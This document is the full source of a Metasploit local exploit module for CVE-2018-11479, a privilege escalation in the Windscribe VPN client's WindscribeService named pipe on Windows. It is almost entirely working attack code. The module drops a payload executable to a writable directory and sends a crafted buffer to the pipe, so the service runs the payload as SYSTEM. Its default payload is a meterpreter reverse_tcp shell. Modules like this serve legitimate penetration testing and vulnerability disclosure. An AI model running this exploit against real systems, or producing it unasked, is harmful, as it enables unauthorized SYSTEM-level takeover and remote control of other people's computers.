Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Exploit::EXE  
include Post::File  
include Post::Windows::Priv  
include Post::Windows::Services  
include Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windscribe WindscribeService Named Pipe Privilege Escalation',  
'Description' => %q{  
The Windscribe VPN client application for Windows makes use of a  
Windows service `WindscribeService.exe` which exposes a named pipe  
`\\.\pipe\WindscribeService` allowing execution of programs with  
elevated privileges.  
  
Windscribe versions prior to 1.82 do not validate user-supplied  
program names, allowing execution of arbitrary commands as SYSTEM.  
  
This module has been tested successfully on Windscribe versions  
1.80 and 1.81 on Windows 7 SP1 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Emin Ghuliev', # Discovery and exploit  
'bcoles' # Metasploit  
],  
'References' =>  
[  
['CVE', '2018-11479'],  
['URL', 'http://blog.emingh.com/2018/05/windscribe-vpn-privilege-escalation.html'],  
['URL', 'https://pastebin.com/eLG3dpYK']  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' => [['Automatic', {}]],  
'DisclosureDate' => '2018-05-24',  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
},  
'Notes' =>  
{  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'DefaultTarget' => 0))  
register_advanced_options [  
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),  
]  
end  
  
def base_dir  
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s  
end  
  
def service_exists?(service)  
srv_info = service_info(service)  
  
if srv_info.nil?  
vprint_warning 'Unable to enumerate Windows services'  
return false  
end  
  
if srv_info && srv_info[:display].empty?  
return false  
end  
  
true  
end  
  
def write_named_pipe(pipe, command)  
kt = "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
kt << "\x00\x00\x00\x00"  
kt << [command.force_encoding('UTF-8').codepoints.map { |c| "%04X" % c }.join].pack('H*')  
kt << "\x00" * (32_005 - kt.length)  
  
print_status "Sending #{command} to #{pipe} ..."  
  
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0, nil, 'OPEN_EXISTING', 0, nil)  
handle = r['return']  
  
if handle == 0xffffffff # INVALID_HANDLE_VALUE  
print_error "Invalid handle. #{pipe} named pipe not found, or already opened"  
return false  
end  
  
vprint_good("Opended #{pipe}! Proceeding ...")  
  
begin  
w = client.railgun.kernel32.WriteFile(handle, kt, kt.length, 4, nil)  
if w['return'] == false  
return false  
end  
ensure  
session.railgun.kernel32.CloseHandle(handle)  
end  
  
true  
rescue  
false  
end  
  
def check  
service = 'WindscribeService'  
  
unless service_exists? service  
return CheckCode::Safe("Service '#{service}' does not exist")  
end  
  
CheckCode::Detected  
end  
  
def exploit  
unless check == CheckCode::Detected  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
if is_system?  
fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'  
end  
  
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"  
payload_exe = generate_payload_exe  
vprint_status "Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ..."  
write_file payload_path, payload_exe  
register_file_for_cleanup payload_path  
  
unless write_named_pipe("\\\\.\\pipe\\WindscribeService", payload_path)  
fail_with Failure::Unknown, 'Failed to write to pipe'  
end  
end  
end